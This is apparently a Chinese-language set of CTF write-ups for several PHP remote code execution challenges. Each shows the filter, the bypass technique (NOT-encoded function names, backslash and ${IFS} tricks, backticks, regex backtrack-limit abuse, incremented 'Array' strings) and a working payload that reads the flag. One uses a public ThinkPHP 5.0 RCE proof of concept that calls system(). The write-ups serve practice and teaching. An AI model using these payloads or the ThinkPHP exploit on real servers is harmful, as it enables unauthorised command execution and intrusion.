[SWPUCTF 2021 新生赛]hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

无字母数字rce,没有过滤()和~,考虑取反绕过

由于是eval函数,传入的字符串要是php代码

1
2
3
4
5
6
<?php 
echo urlencode(~'system');
echo "<br>";
echo urlencode(~'ls /');
?>

得到:%8C%86%8C%8B%9A%92
%93%8C%DF%D0

/?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);

发现flllllaaaaaaggggggg

1
2
3
4
5
6
<?php 
echo urlencode(~'system');
echo "<br>";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

payload:?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

[SWPUCTF 2021 新生赛]finalrce

exec函数从PHP脚本中调用外部命令行程序,执行成功时返回命令执行结果的最后一行输出

黑名单中过滤了一些函数和关键字的同时还过滤了’la’,在读取flag时可能要考虑通配符绕过

exec无回显,采用tee命令保留结果,没有过滤反斜杠,利用反斜杠绕过ls

?url=l\s /|tee 1.txt;

管道符|将ls命令的输出作传递给后一个命令作为输入,tee命令将输入同时输出到终端并写入1.txt文件中

image-20240730135546465

要获取flllllaaaaaaggggggg,由于cat被过滤,采用\绕过

?url=ca\t /flllll\aaaaaaggggggg|tee 111.txt;

[UUCTF 2022 新生赛]ez_rce

image-20240730140202996

eval无回显,另外sys被过滤,采用反引号命令执行

payload:

1
?code=print(`l\s /`);

发现fffffffffflagafag

1
?code=print(`c\at /fffffffffflagafag`);

[SWPUCTF 2022 新生赛]ez_rce

进来只有一句话:真的什么都没有吗?

dirsearch扫描

image-20240730141601143

存在robots

访问发现

1
2
3
User-agent: *
Disallow:
- /NSS/index.php/

访问

phpthink 5.0版本RCE漏洞,从网上找poc

参考:https://blog.csdn.net/youuzi/article/details/132237232

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)

find / -name flag 为查找根目录和子目录下名为flag的文件,$()也会执行括号内的命令

image-20240730145533950

[MoeCTF 2021]babyRCE

没过滤ls,查看一下

image-20240730175428585

?rce=c\at${IFS}fl\ag.php

空格绕过:${IFS},反斜杠绕过关键字

[NISACTF 2022]middlerce

image-20240730180353100

正则\w匹配了所有字母数字以及下划线,并匹配了波浪线反引号制表符等等,只能利用正则回溯绕过preg_match,即在回溯超过1000000次之后,该函数自动返回false

可以看到else内是对传入的参数进行json解码,传入时应符合json模式

1
2
3
4
5
6
import requests
url='http://node4.anna.nssctf.cn:28491/'
payload = '{"cmd":"?><?=`tail /f*`?>","test":"'+ "@" *1000002 +'"}'
res = requests.post(url,data={"letter":payload})
print(res.text)

另外如果不使用?><?=而采用:

1
payload = '{"cmd":"<?php echo `tail /f*`; ?>","test":"' + "@" * 1000002 + '"}'

会显示差一点点,所以只能用上面的形式

运行脚本即可获得flag

[HNCTF 2022 Week1]Challenge__rce

f12,注释部分提示传hint参数,传进去后看到源码

image-20240730185410350

无字母rce,过滤了~和^无法使用取反和异或运算,能利用的有以下字符

1
$()+,.0123456789;=[]_{}

根据php特性将字符与数组强行链接时,会返回字符串“Array”,取其中的字符并通过自增运算可以拼接命令

参考:https://www.nssctf.cn/note/set/4919

构造出chr后获取构造$_GET[],传入1,2两个参数,之后传参执行命令

1
$_[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

url编码

1
$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b

最终payload

url:

1
.../?hint=1&1=system&2=cat /f*

post:

1
rce=$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b